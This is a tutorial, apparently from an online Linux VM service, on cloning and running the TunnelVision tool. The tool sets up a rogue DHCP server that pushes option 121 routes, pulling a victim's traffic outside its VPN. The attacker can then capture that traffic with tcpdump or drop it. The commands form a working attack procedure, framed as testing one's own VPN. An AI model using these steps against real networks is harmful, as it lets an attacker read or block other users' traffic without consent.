TunnelVision is a local network VPN leaking technique that allows an attacker to read, drop, and sometimes modify VPN traffic from a targets on the local network, made by Leviathan Security. This technique does not activate kill-switches and does not have a full fix for every major operating system. This tutorial will guide you through the installation, configuration, and usage of TunnelVision to identify potential security issues in your VPN setup.
Installation
TunnelVision is a Bash-based tool and can be installed using git. Ensure you have git installed on your system.
Steps to Install TunnelVision
- Clone the Repository:
git clone https://github.com/leviathansecurity/TunnelVision.git cd TunnelVision
Setting it up
Once installed, you can start using TunnelVision to test your VPN for vulnerabilities.
-
Basic Command:
sudo ./configdhcpserver.sh sudo ./startup.sh
-
Utility Commands:
cat /etc/dhcp/dhcpd.conf
- Shows the current configurationsudo ~/TunnelVision/pushrouteconfig.sh
- Pushes a DHCP option 121 route for 8.8.8.8/32sudo ~/TunnelVision/norouteconfig.sh
- Allows you to switch back to pushing no routes for testing purposessudo systemctl status isc-dhcp-server
- Shows current status of the DHCP serversudo systemctl restart isc-dhcp-server
- Restarts the DHCP server, mandatory if you manually edit the config filesudo systemctl start isc-dhcp-server
- Starts the DHCP serversudo systemctl stop isc-dhcp-server
- Stops the DHCP serversudo journalctl -u isc-dhcp-server.service | tail -n 50
- Shows the last 50 log lines from the servicewatch "journalctl -u isc-dhcp-server.service | tail -n 50"
- Shows the last 50 logs, and also refreshes every 2s by defaultsudo tcpdump -i enp0s8
- Shows the traffic on the internal network interface, you can use tcpdump filters such as "icmp" to filter to relevant traffic
Using it
After you've configured all of the things, you can start using it!
- The target machine has to obtain a DHCP lease from the attack server.
- The user installs a VPN on the user machine & connects to it.
- On the attack DHCP server, push the demo DHCP 121 route (8.8.8.8/32):
sudo ./pushrouteconfig.sh
- On the victim machine, show the route table and observe there is a route for 8.8.8.8 that goes over a non-VPN interface:
- Debian command:
ip route
- Windows command:
route print
- Debian command:
- Ping 8.8.8.8 from the victim machine.
ping 8.8.8.8
- Observe that it will either ping or will be dropped.
- (Optional) Install Wireshark or tcpdump to the victim host and manually confirm the interface the ICMP traffic is using.
- If ping is not working, observe it goes over NO interface which is the selective denial-of-service behavior
- If ping is working, observe it is NOT going over the VPN tunnel
- On the attacker DHCP server, observe you can read the unencrypted traffic.
sudo tcpdump -i eth0 icmp
(eth0 should be the interface name you are serving DHCP over)
Try it in pwn.VM!
Try the tutorial in our new online Linux VM provider with a free 1 hour session limit for non subscribers!